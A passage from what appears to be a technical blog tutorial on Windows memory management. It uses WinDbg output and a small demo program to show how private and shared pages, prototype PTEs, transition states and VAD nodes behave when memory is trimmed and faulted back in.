allocated a prototype PTE for it because the memory may be shared at some point and the state of the page will need to be tracked with the prototype PTE. The notepad.exe paging structures also point to a valid hardware PTE, just not the same one as the PFN database entry. The same isn't true for a region of memory that can't be shared. For example, if we choose another memory location that was allocated as MEM_PRIVATE, we will not see the same results. We can use the !vad command to give us all of the virtual address regions (listed by virtual page frame) that are mapped by the current process. 6: kd> !vad VAD Level Start End Commit fffffa8019785170 5 10 1f 0 Mapped READWRITE Pagefile section, shared commit 0x10 fffffa8019229650 4 20 26 0 Mapped READONLY Pagefile section, shared commit 0x7 fffffa802aec35c0 5 30 33 0 Mapped READONLY Pagefile section, shared commit 0x4 fffffa80291085a0 3 40 41 0 Mapped READONLY Pagefile section, shared commit 0x2 fffffa802b25c180 5 50 50 1 Private READWRITE fffffa802b0b8940 4 60 c6 0 Mapped READONLY \Windows\System32\locale.nls fffffa8019544940 5 d0 d1 0 Mapped READWRITE Pagefile section, shared commit 0x2 fffffa80193c5570 2 e0 e2 3 Mapped WRITECOPY \Windows\System32\en-US\notepad.exe.mui fffffa802b499e00 5 f0 f0 1 Private READWRITE fffffa802b4a6160 4 100 100 1 Private READWRITE fffffa801954d3a0 5 110 110 0 Mapped READWRITE Pagefile section, shared commit 0x1 fffffa80197cf8c0 3 120 121 0 Mapped READONLY Pagefile section, shared commit 0x2 fffffa802b158240 4 160 16f 2 Private READWRITE fffffa802b24f180 1 1a0 21f 20 Private READWRITE fffffa802b1fc680 6 220 31f 104 Private READWRITE fffffa802b44d110 5 320 41f 146 Private READWRITE fffffa802910ece0 6 420 4fe 0 Mapped READONLY Pagefile section, shared commit 0xdf fffffa802b354c60 4 540 54f 7 Private READWRITE fffffa8029106660 6 550 6d7 0 Mapped READONLY Pagefile section, shared commit 0x6 fffffa802b4738b0 5 6e0 860 0 Mapped READONLY Pagefile section, shared commit 0x181 fffffa802942ea30 6 870 1c6f 0 Mapped READONLY Pagefile section, shared commit 0x23 fffffa802b242260 3 1cf0 1d6f 28 Private READWRITE fffffa802aa66d60 5 1e10 1e8f 113 Private READWRITE fffffa8019499560 4 3030 395f 0 Mapped READONLY \Windows\Fonts\StaticCache.dat fffffa8019246370 5 3960 3c2e 0 Mapped READONLY \Windows\Globalization\Sorting\SortDefault.nls fffffa802b184c50 6 3c30 3d2f 1 Private READWRITE fffffa802b45f180 2 77420 77519 3 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\user32.dll fffffa80192afa20 4 77520 7763e 4 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\kernel32.dll fffffa802a8ba9c0 3 77640 777e9 14 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\ntdll.dll fffffa802910a440 5 7efe0 7f0df 0 Mapped READONLY Pagefile section, shared commit 0x5 fffffa802b26d180 4 7f0e0 7ffdf 0 Private READONLY fffffa802b4cb160 0 7ffe0 7ffef -1 Private READONLY fffffa802b4e60d0 5 ffd50 ffd84 4 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\notepad.exe fffffa801978d170 4 7fefa530 7fefa5a0 3 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\winspool.drv fffffa80197e0970 5 7fefaab0 7fefab05 4 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\uxtheme.dll fffffa802a6d9720 6 7fefafd0 7fefafe7 5 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\dwmapi.dll fffffa80197ecc50 3 7fefb390 7fefb583 6 Mapped Exe EXECUTE_WRITECOPY \Windows\winsxs\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.18837_none_fa3b1e3d17594757\comctl32.dll fffffa802a91e010 5 7fefc3c0 7fefc3cb 2 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\version.dll fffffa80197cb010 6 7fefd1d0 7fefd1de 2 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\cryptbase.dll fffffa80290fe9c0 4 7fefd440 7fefd4a9 3 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\KernelBase.dll fffffa8029109e30 5 7fefd6f0 7fefd6fd 2 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\lpk.dll fffffa8029522520 6 7fefd720 7fefd74d 3 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\imm32.dll fffffa802910bce0 2 7fefd800 7fefd8da 7 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\advapi32.dll fffffa80290d9500 5 7fefd8e0 7fefdadb 9 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\ole32.dll fffffa802af4a0c0 4 7fefdae0 7fefe86a 13 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\shell32.dll fffffa8019787170 5 7fefea50 7fefea6e 4 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\sechost.dll fffffa802a6e8010 3 7fefeda0 7fefee36 6 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\comdlg32.dll fffffa802a6ae010 5 7fefee50 7fefef58 4 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\msctf.dll fffffa802910dac0 4 7feff0f0 7feff21c 3 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\rpcrt4.dll fffffa801948e940 1 7feff2a0 7feff33e 7 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\msvcrt.dll fffffa802aac1010 5 7feff340 7feff3b0 3 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\shlwapi.dll fffffa8029156010 4 7feff3c0 7feff48a 4 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\usp10.dll fffffa801956e170 5 7feff800 7feff8d9 4 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\oleaut32.dll fffffa8019789170 3 7feff8e0 7feff946 3 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\gdi32.dll fffffa801958e170 4 7feff960 7feff960 0 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\apisetschema.dll fffffa80290f3c10 2 7fffffb0 7fffffd2 0 Mapped READONLY Pagefile section, shared commit 0x23 fffffa802af28110 3 7fffffd5 7fffffd5 1 Private READWRITE fffffa802a714a30 4 7fffffde 7fffffdf 2 Private READWRITE Total VADs: 58, average level: 5, maximum depth: 6 Total private commit: 0x228 pages (2208 KB) Total shared commit: 0x2d3 pages (2892 KB) view raw tf-article2-windbg-18.txt hosted with ❤ by GitHub We can take a look at a MEM_PRIVATE page, such as 0x1cf0, and see if the PTE from the process' paging structures matches the PTE from the PFN database. 6: kd> ? 1cf0 * 0x1000 Evaluate expression: 30343168 = 00000000`01cf0000 6: kd> !pte 00000000`01cf0000 VA 0000000001cf0000 PXE at FFFFF6FB7DBED000 PPE at FFFFF6FB7DA00000 PDE at FFFFF6FB40000070 PTE at FFFFF6800000E780 contains 02D0000654195867 contains 0320000656E18867 contains 4F20000653448867 contains CF30000651EC9867 pfn 654195 ---DA--UWEV pfn 656e18 ---DA--UWEV pfn 653448 ---DA--UWEV pfn 651ec9 ---DA--UW-V 6: kd> !pfn 651ec9 PFN 00651EC9 at address FFFFFA8012F5C5B0 flink 000004F3 blink / share count 00000001 pteaddress FFFFF6800000E780 reference count 0001 used entry count 0000 Cached color 0 Priority 5 restore pte 00000080 containing page 653448 Active M Modified view raw tf-article2-windbg-19.txt hosted with ❤ by GitHub As we can see, it does match, with both addresses referring to 0xfffff680`0000e780. Because this memory is not shareable, the process' paging structures are able to manage the hardware PTE directly. In the case of shareable pages allocated with MEM_MAPPED, though, the PFN database maintains its own copy of the PTE. It's worth exploring different regions of memory this way, just to see how the paging structures and PFN entries are set up in different cases. As mentioned above, the VAD tree is another important consideration when dealing with user-mode memory as in many cases, it will actually be a VAD node which indicates where the prototype PTE for a given shared memory region resides. In these cases, the page fault handler will need to refer to the process' VAD tree and walk the tree until it finds the node responsible for the shared memory region. Figure 12: If the invalid PTE points to the process' VAD tree, a VAD walk must be performed to locate the appropriate _MMVAD node that represents the given virtual memory. The FirstPrototypePte member of the VAD node will indicate the starting virtual address of a region of memory that contains prototype PTEs for each shared page in the region. The list of prototype PTEs is terminated with the LastContiguousPte member of the VAD node. The page fault handler must then walk this list of prototype PTEs to find the PTE that backs the specific page that has faulted. Figure 13: The FirstPrototypePte member of the VAD node points to a region of memory that has a contiguous block of prototype PTEs that represent shared memory within that virtual address range. One more example to bring it all together It would be helpful to walk through each of these scenarios with a program that we control, and that we can change, if needed. That's precisely what we're going to do with the memdemo project. You can follow along by compiling the application yourself, or you can simply take a look at the code snippets that will be posted throughout this example. To start off, we'll load our memdemo.exe and then attach the kernel debugger. We then need to get a list of processes that are currently running on the system. kd> !process 0 0 **** NT ACTIVE PROCESS DUMP **** PROCESS ffffa50dcea99040 SessionId: none Cid: 0004 Peb: 00000000 ParentCid: 0000 DirBase: 001aa000 ObjectTable: ffffd385360012c0 HandleCount: 2376. Image: System PROCESS ffffa50dcee27140 SessionId: none Cid: 01f4 Peb: dbfb731000 ParentCid: 0004 DirBase: 138ab8000 ObjectTable: ffffd38536339d40 HandleCount: 52. Image: smss.exe PROCESS ffffa50dcfb467c0 SessionId: 0 Cid: 0248 Peb: 5faaf3c000 ParentCid: 0240 DirBase: 138f83000 ObjectTable: ffffd385363d0f00 HandleCount: 531. Image: csrss.exe ... PROCESS ffffa50dd1070380 SessionId: 1 Cid: 097c Peb: 6f29798000 ParentCid: 02b4 DirBase: 1500d000 ObjectTable: ffffd3853d7ed380 HandleCount: 37. Image: memdemo.exe view raw tf-article2-windbg-19.txt hosted with ❤ by GitHub Let's quickly switch back to the application so that we can let it create our initial buffer. To do this, we're simply allocating some memory and then accessing it to make sure it's resident. // Allocate a buffer within our process. PVOID Private = VirtualAlloc(NULL, 4096, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); // Use the memory to make sure it's resident. reinterpret_cast<PBYTE>(Private)[0] = 0xFF; view raw tf-article2-code1.txt hosted with ❤ by GitHub Upon running the code, we see that the application has created a buffer for us (in the current example) at 0x000001fe`151c0000. Your buffer may differ. We should hop back into our debugger now and check out that memory address. As mentioned before, it's important to remember to switch back into the process context of memdemo.exe when we break back in with the debugger. We have no idea what context we could have been in when we interrupted execution, so it's important to always do this step. kd> .process /i /P ffffa50dd1070380 You need to continue execution (press 'g' <enter>) for the context to be switched. When the debugger breaks in again, you will be in the new process context. kd> g Break instruction exception - code 80000003 (first chance) nt!DbgBreakPointWithStatus: fffff801`d9df7a40 cc int 3 view raw tf-article2-windbg-20.txt hosted with ❤ by GitHub When we wrote memdemo.exe, we could have used the __debugbreak() compiler intrinsic to avoid having to constantly switch back to our process' context. It would ensure that when the breakpoint was hit, we were already in the correct context. For the purposes of this article, though, it's best to practice swapping back into the correct process context, as during most live analysis we would not have the liberty of throwing int3 exceptions during the program's execution. We can now check out the memory at 0x000001fe`151c0000 using the db command. kd> db 0x000001fe`151c0000 000001fe`151c0000 ff 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 000001fe`151c0010 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 000001fe`151c0020 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 000001fe`151c0030 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 000001fe`151c0040 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 000001fe`151c0050 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 000001fe`151c0060 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 000001fe`151c0070 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ view raw tf-article2-windbg-21.txt hosted with ❤ by GitHub Looks like that was a success - we can even see the 0xff byte that we wrote to it. Let's have a look at the backing PTE for this page using the !pte command. 6: kd> !pte 0x000001fe`151c0000 VA 000001fe151c0000 PXE at FFFFED76BB5DA018 PPE at FFFFED76BB403FC0 PDE at FFFFED76807F8540 PTE at FFFFED00FF0A8E00 contains 0A0000001A907867 contains 0A0000001B008867 contains 0A00000016609867 contains 80000000A1DD0867 pfn 1a907 ---DA--UWEV pfn 1b008 ---DA--UWEV pfn 16609 ---DA--UWEV pfn a1dd0 ---DA--UW-V view raw tf-article2-windbg-22.txt hosted with ❤ by GitHub That's good news. It seems like the Valid (V) bit is set, which is what we expect. The memory is Writeable (W), as well, which makes sense based on our PAGE_READWRITE permissions. Let's look at the PFN database entry using !pfn for page 0xa1dd0. kd> !pfn 0xa1dd0 PFN 000A1DD0 at address FFFFE70001E59700 flink 00000002 blink / share count 00000001 pteaddress FFFFED00FF0A8E00 reference count 0001 used entry count 0000 Cached color 0 Priority 5 restore pte 00000080 containing page 016609 Active M Modified view raw tf-article2-windbg-23.txt hosted with ❤ by GitHub We can see that the PFN entry points to the same PTE structure we were just looking at. We can go to the address of the PTE at 0xffffed00ff0a8e00 and cast it as an nt!_MMPTE. kd> dt nt!_MMPTE 0xffffed00ff0a8e00 -b +0x000 u : <unnamed-tag> +0x000 Long : 0x80000000`a1dd0867 +0x000 VolatileLong : 0x80000000`a1dd0867 +0x000 Hard : _MMPTE_HARDWARE +0x000 Valid : 0y1 +0x000 Dirty1 : 0y1 +0x000 Owner : 0y1 +0x000 WriteThrough : 0y0 +0x000 CacheDisable : 0y0 +0x000 Accessed : 0y1 +0x000 Dirty : 0y1 +0x000 LargePage : 0y0 +0x000 Global : 0y0 +0x000 CopyOnWrite : 0y0 +0x000 Unused : 0y0 +0x000 Write : 0y1 +0x000 PageFrameNumber : 0y000000000000000010100001110111010000 (0xa1dd0) +0x000 ReservedForHardware : 0y0000 +0x000 ReservedForSoftware : 0y0000 +0x000 WsleAge : 0y0000 +0x000 WsleProtection : 0y000 +0x000 NoExecute : 0y1 … view raw tf-article2-windbg-24.txt hosted with ❤ by GitHub We see that it's Valid, Dirty, Accessed, and Writeable, which are all things that we expect. The Accessed bit is set by the hardware when the page table entry is used for translation. If that bit is set, it means that at some point the memory has been accessed because the PTE was used as part of an address translation. Software can reset this value in order to track accesses to certain memory. Similarly, the Dirty bit shows that the memory has been written to, and is also set by the hardware. We see that it's set for us because we wrote our 0xff byte to the page. Now let's let the application execute using the g command. We're going to let the program page out the memory that we were just looking at, using the following code: // Unlock the virtual memory (just in case). VirtualUnlock(Private, 4096); // Flush the process' working set. SetProcessWorkingSetSize(GetCurrentProcess(), (SIZE_T)-1, (SIZE_T)-1); view raw tf-article2-code2.txt hosted with ❤ by GitHub Once that's complete, don't forget to switch back to the process context again. We need to do that every time we go back into the debugger! Now let's check out the PTE with the !pte command after the page has been supposedly trimmed from our working set. kd> !pte 0x000001fe`151c0000 VA 000001fe151c0000 PXE at FFFFED76BB5DA018 PPE at FFFFED76BB403FC0 PDE at FFFFED76807F8540 PTE at FFFFED00FF0A8E00 contains 0A0000001A907867 contains 0A0000001B008867 contains 0A00000016609867 contains 00000000A1DD0880 pfn 1a907 ---DA--UWEV pfn 1b008 ---DA--UWEV pfn 16609 ---DA--UWEV not valid Transition: a1dd0 Protect: 4 - ReadWrite view raw tf-article2-windbg-25.txt hosted with ❤ by GitHub We see now that the PTE is no longer valid, because the page has been trimmed from our working set; however, it has not been paged out of RAM yet. This means it is in a transition state, as shown by WinDbg. We can verify this for ourselves by looking at the actual PTE structure again. kd> dt nt!_MMPTE 0xffffed00ff0a8e00 -b +0x000 u : <unnamed-tag> +0x000 Long : 0xa1dd0880 +0x000 VolatileLong : 0xa1dd0880 +0x000 Hard : _MMPTE_HARDWARE +0x000 Valid : 0y0 +0x000 Dirty1 : 0y0 +0x000 Owner : 0y0 +0x000 WriteThrough : 0y0 +0x000 CacheDisable : 0y0 +0x000 Accessed : 0y0 +0x000 Dirty : 0y0 +0x000 LargePage : 0y1 +0x000 Global : 0y0 +0x000 CopyOnWrite : 0y0 +0x000 Unused : 0y0 +0x000 Write : 0y1 +0x000 PageFrameNumber : 0y000000000000000010100001110111010000 (0xa1dd0) +0x000 ReservedForHardware : 0y0000 +0x000 ReservedForSoftware : 0y0000 +0x000 WsleAge : 0y0000 +0x000 WsleProtection : 0y000 +0x000 NoExecute : 0y0 ... +0x000 Trans : _MMPTE_TRANSITION +0x000 Valid : 0y0 +0x000 Write : 0y0 +0x000 Spare : 0y00 +0x000 IoTracker : 0y0 +0x000 Protection : 0y00100 (0x4) +0x000 Prototype : 0y0 +0x000 Transition : 0y1 +0x000 PageFrameNumber : 0y000000000000000010100001110111010000 (0xa1dd0) +0x000 Unused : 0y0000000000000000 (0) ... view raw tf-article2-windbg-26.txt hosted with ❤ by GitHub In the _MMPTE_TRANSITION version of the structure, the Transition bit is set. So because the memory hasn't yet been paged out, if our program were to access that memory, it would cause a soft page fault that would then simply mark the PTE as valid again. If we examine the PFN entry with !pfn, we can see that the page is still resident in physical memory for now, and still points to our original PTE. kd> !pfn 0xa1dd0 PFN 000A1DD0 at address FFFFE70001E59700 flink 0001614A blink / share count 0013230A pteaddress FFFFED00FF0A8E00 reference count 0000 used entry count 0000 Cached color 0 Priority 5 restore pte 00000080 containing page 016609 Modified M Modified view raw tf-article2-windbg-27.txt hosted with ❤ by GitHub Now let's press g again and let the app continue. It'll create a shared section of memory for us. In order to do so, we need to create a file mapping and then map a view of that file into our process. // Create a section object to demonstrate shared memory. HANDLE Mapping = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_READWRITE, 0, 4096, L"memdemosec"); // Map the section into our process. PVOID Shared = MapViewOfFile(Mapping, FILE_MAP_ALL_ACCESS, 0, 0, 4096); // Use the memory to make sure it's resident. reinterpret_cast<PBYTE>(Shared)[0] = 0xFF; view raw tf-article2-code3.txt hosted with ❤ by GitHub Let's take a look at the shared memory (at 0x000001fe`151d0000 in this example) using db. Don't forget to change back to our process context when you switch back into the debugger. kd> db 0x000001fe`151d0000 000001fe`151d0000 ff 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 000001fe`151d0010 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 000001fe`151d0020 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 000001fe`151d0030 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 000001fe`151d0040 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 000001fe`151d0050 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 000001fe`151d0060 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 000001fe`151d0070 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ view raw tf-article2-windbg-28.txt hosted with ❤ by GitHub And look! There's the 0xff that we wrote to this memory region as well. We're going to follow the same steps that we did with the previous allocation, but first let's take a quick look at our process' VAD tree with the !vad command. kd> !vad VAD Level Start End Commit ffffa50dcf7a1660 4 7ffe0 7ffe0 1 Private READONLY ffffa50dcf78c450 3 7ffe1 7ffef -1 Private READONLY ffffa50dcf8a3240 4 6f29440 6f2953f 7 Private READWRITE ffffa50dcf78b280 2 6f29600 6f297ff 3 Private READWRITE ffffa50dd1bd9180 3 1fe15080 1fe1508f 0 Mapped READWRITE Pagefile section, shared commit 0 ffffa50dcf74b890 4 1fe15090 1fe15096 1 Private READWRITE ffffa50dcfb58620 1 1fe150a0 1fe150b7 0 Mapped READONLY Pagefile section, shared commit 0 ffffa50dcf7595f0 3 1fe150c0 1fe150c3 0 Mapped READONLY Pagefile section, shared commit 0 ffffa50dcf669330 2 1fe150d0 1fe150d0 0 Mapped READONLY Pagefile section, shared commit 0 ffffa50dd027cdc0 0 1fe150e0 1fe150e0 1 Private READWRITE ffffa50dd16580b0 4 1fe150f0 1fe151b4 0 Mapped READONLY \Windows\System32\locale.nls ffffa50dd15f0470 3 1fe151c0 1fe151c0 1 Private READWRITE ffffa50dd2313a20 4 1fe151d0 1fe151d0 0 Mapped READWRITE Pagefile section, shared commit 0 ffffa50dcfd121a0 2 1fe15280 1fe1537f 21 Private READWRITE ffffa50dcf791350 3 7ff7f5c60 7ff7f5d5f 0 Mapped READONLY Pagefile section, shared commit 0 ffffa50dcf74fd50 1 7ff7f5d60 7ff7f5d82 0 Mapped READONLY Pagefile section, shared commit 0 ffffa50dcf721450 4 7ff7f62e0 7ff7f643d 95 Mapped Exe EXECUTE_WRITECOPY \Users\Michael\Desktop\memdemo.exe ffffa50dcf7a5780 3 7ffc3d340 7ffc3d3bd 5 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\apphelp.dll ffffa50dcf7515c0 4 7ffc3f6d0 7ffc3f918 9 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\KernelBase.dll ffffa50dd1708390 2 7ffc40120 7ffc401cd 6 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\kernel32.dll ffffa50dcf74fdf0 3 7ffc42750 7ffc4292a 12 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\ntdll.dll Total VADs: 21, average level: 3, maximum depth: 4 Total private commit: 0xa2 pages (648 KB) Total shared commit: 0 pages (0 KB) view raw tf-article2-windbg-29.txt hosted with ❤ by GitHub You can see the first allocation we did, starting at virtual page number 0x1fe151c0. It's a Private region that has the PAGE_READWRITE permissions applied to it. You can also see the shared section allocated at VPN 0x1fe151d0. It has the same permissions as the non-shared region; however, you can see that it's Mapped rather than Private. Let's take a look at the PTE information that's backing our shared memory. kd> !pte 0x000001fe`151d0000 VA 000001fe151d0000 PXE at FFFFED76BB5DA018 PPE at FFFFED76BB403FC0 PDE at FFFFED76807F8540 PTE at FFFFED00FF0A8E80 contains 0A0000001A907867 contains 0A0000001B008867 contains 0A00000016609867 contains C1000000A76CC867 pfn 1a907 ---DA--UWEV pfn 1b008 ---DA--UWEV pfn 16609 ---DA--UWEV pfn a76cc ---DA--UW-V view raw tf-article2-windbg-30.txt hosted with ❤ by GitHub This region, too, is Valid and Writeable, just like we'd expect. Now let's take a look at the !pfn. kd> !pfn a76cc PFN 000A76CC at address FFFFE70001F64640 flink 00000002 blink / share count 00000001 pteaddress FFFFD3853DA57B60 reference count 0001 used entry count 0000 Cached color 0 Priority 5 restore pte 00000080 containing page 002DCB Active MP Modified Shared view raw tf-article2-windbg-31.txt hosted with ❤ by GitHub We see that the Share Count now actually shows us how many times the page has been shared, and the page also has the Shared property. In addition, we see that the PTE address referenced by the PFN entry is not the same as the PTE that we got from the !pte command. That's because the PFN database entry is referencing a prototype PTE, while the PTE within our process is acting as a hardware PTE because the memory is still valid and mapped in. Let's take a look at the PTE structure that's in our process' paging structures, that was originally found with the !pte command. kd> dt nt!_MMPTE FFFFED00FF0A8E80 -b +0x000 u : <unnamed-tag> +0x000 Long : 0xc1000000`a76cc867 +0x000 VolatileLong : 0xc1000000`a76cc867 +0x000 Hard : _MMPTE_HARDWARE +0x000 Valid : 0y1 +0x000 Dirty1 : 0y1 +0x000 Owner : 0y1 +0x000 WriteThrough : 0y0 +0x000 CacheDisable : 0y0 +0x000 Accessed : 0y1 +0x000 Dirty : 0y1 +0x000 LargePage : 0y0 +0x000 Global : 0y0 +0x000 CopyOnWrite : 0y0 +0x000 Unused : 0y0 +0x000 Write : 0y1 +0x000 PageFrameNumber : 0y000000000000000010100111011011001100 (0xa76cc) +0x000 ReservedForHardware : 0y0000 +0x000 ReservedForSoftware : 0y0000 +0x000 WsleAge : 0y0001 +0x000 WsleProtection : 0y100 +0x000 NoExecute : 0y1 ... view raw tf-article2-windbg-32.txt hosted with ❤ by GitHub We can see that it's Valid, so it will be used by the hardware for address translation. Let's see what we find when we take a look at the prototype PTE being referenced by the PFN entry. kd> dt nt!_MMPTE FFFFD3853DA57B60 -b +0x000 u : <unnamed-tag> +0x000 Long : 0x8a000000`a76cc921 +0x000 VolatileLong : 0x8a000000`a76cc921 +0x000 Hard : _MMPTE_HARDWARE +0x000 Valid : 0y1 +0x000 Dirty1 : 0y0 +0x000 Owner : 0y0 +0x000 WriteThrough : 0y0 +0x000 CacheDisable : 0y0 +0x000 Accessed : 0y1 +0x000 Dirty : 0y0 +0x000 LargePage : 0y0 +0x000 Global : 0y1 +0x000 CopyOnWrite : 0y0 +0x000 Unused : 0y0 +0x000 Write : 0y1 +0x000 PageFrameNumber : 0y000000000000000010100111011011001100 (0xa76cc) +0x000 ReservedForHardware : 0y0000 +0x000 ReservedForSoftware : 0y0000 +0x000 WsleAge : 0y1010 +0x000 WsleProtection : 0y000 +0x000 NoExecute : 0y1 ... view raw tf-article2-windbg-33.txt hosted with ❤ by GitHub This PTE is also valid, because it's representing the true state of the physical page. Something interesting to note, though, is that you can see that the Dirty bit is not set. Because this bit is only set by the hardware in the context of whatever process is doing the writing, you can theoretically use this bit to actually detect which process on a system wrote to a shared memory region. Now let's run the app more and let it page out the shared memory using the same technique we used with the private memory. Here's what the code looks like: // Unlock the virtual memory (just in case). VirtualUnlock(Shared, 4096); // Flush the process' working set. SetProcessWorkingSetSize(GetCurrentProcess(), (SIZE_T)-1, (SIZE_T)-1); view raw tf-article2-code4.txt hosted with ❤ by GitHub Let's take a look at the memory with db now. kd> db 0x000001fe`151d0000 000001fe`151d0000 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 000001fe`151d0010 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 000001fe`151d0020 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 000001fe`151d0030 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 000001fe`151d0040 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 000001fe`151d0050 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 000001fe`151d0060 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 000001fe`151d0070 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? view raw tf-article2-windbg-34.txt hosted with ❤ by GitHub We see now that it's no longer visible in our process. If we do !pte on it, let's see what we get. kd> !pte 0x000001fe`151d0000 VA 000001fe151d0000 PXE at FFFFED76BB5DA018 PPE at FFFFED76BB403FC0 PDE at FFFFED76807F8540 PTE at FFFFED00FF0A8E80 contains 0A0000001A907867 contains 0A0000001B008867 contains 0A00000016609867 contains FFFFFFFF00000480 pfn 17f59 ---DA--UWEV pfn 7b5a ---DA--UWEV pfn 9a476 ---DA--UWEV not valid Proto: VAD Protect: 4 - ReadWrite view raw tf-article2-windbg-35.txt hosted with ❤ by GitHub The PTE that's backing our page is no longer valid. We still get an indication of what the page permissions were, but the PTE now tells us to refer to the process' VAD tree in order to get access to the prototype PTE that contains the real state. If you recall from when we used the !vad command earlier in our example, the address of the VAD node for our shared memory is 0xffffa50d`d2313a20. Let's take a look at that memory location as an nt!_MMVAD structure. kd> dt nt!_MMVAD ffffa50dd2313a20 +0x000 Core : _MMVAD_SHORT +0x040 u2 : <unnamed-tag> +0x048 Subsection : 0xffffa50d`d1db63e0 _SUBSECTION +0x050 FirstPrototypePte : 0xffffd385`3da57b60 _MMPTE +0x058 LastContiguousPte : 0xffffd385`3da57b60 _MMPTE +0x060 ViewLinks : _LIST_ENTRY [ 0xffffa50d`d1db6368 - 0xffffa50d`d1db6368 ] +0x070 VadsProcess : 0xffffa50d`d1070380 _EPROCESS +0x078 u4 : <unnamed-tag> +0x080 FileObject : (null) view raw tf-article2-windbg-36.txt hosted with ❤ by GitHub The FirstPrototypePte member contains a pointer to a location in virtual memory that stores contiguous prototype PTEs for the region of memory represented by this VAD node. Since we only allocated (and subsequently paged out) one page, there's only one prototype PTE in this list. The LastContiguousPte member shows that our prototype PTE is both the first and last element in the list. Let's take a look at this prototype PTE as an nt!_MMPTE structure. kd> dt nt!_MMPTE 0xffffd385`3da57b60 -b +0x000 u : <unnamed-tag> +0x000 Long : 0xa7fad880 +0x000 VolatileLong : 0xa7fad880 +0x000 Hard : _MMPTE_HARDWARE +0x000 Valid : 0y0 +0x000 Dirty1 : 0y0 +0x000 Owner : 0y0 +0x000 WriteThrough : 0y0 +0x000 CacheDisable : 0y0 +0x000 Accessed : 0y0 +0x000 Dirty : 0y0 +0x000 LargePage : 0y1 +0x000 Global : 0y0 +0x000 CopyOnWrite : 0y0 +0x000 Unused : 0y0 +0x000 Write : 0y1 +0x000 PageFrameNumber : 0y000000000000000010100111111110101101 (0xa7fad) +0x000 ReservedForHardware : 0y0000 +0x000 ReservedForSoftware : 0y0000 +0x000 WsleAge : 0y0000 +0x000 WsleProtection : 0y000 +0x000 NoExecute : 0y0 … view raw tf-article2-windbg-37.txt hosted with ❤ by GitHub We can see that the prototype indicates that the memory is no longer valid. So what can we do to force this page back into memory? We access it, of course. Let's let the app run one more step so that it can try to access this memory again. // Use the memory one more time. reinterpret_cast<PBYTE>(Shared)[0] = 0xFF; view raw tf-article2-code5.txt hosted with ❤ by GitHub Remember to switch back into the context of the process after the application has executed the next step, and then take a look at the PTE from the PFN entry again. kd> dt nt!_MMPTE 0xffffd385`3da57b60 -b +0x000 u : <unnamed-tag> +0x000 Long : 0x8a000000`a7fad963 +0x000 VolatileLong : 0x8a000000`a7fad963 +0x000 Hard : _MMPTE_HARDWARE +0x000 Valid : 0y1 +0x000 Dirty1 : 0y1 +0x000 Owner : 0y0 +0x000 WriteThrough : 0y0 +0x000 CacheDisable : 0y0 +0x000 Accessed : 0y1 +0x000 Dirty : 0y1 +0x000 LargePage : 0y0 +0x000 Global : 0y1 +0x000 CopyOnWrite : 0y0 +0x000 Unused : 0y0 +0x000 Write : 0y1 +0x000 PageFrameNumber : 0y000000000000000010100111111110101101 (0xa7fad) +0x000 ReservedForHardware : 0y0000 +0x000 ReservedForSoftware : 0y0000 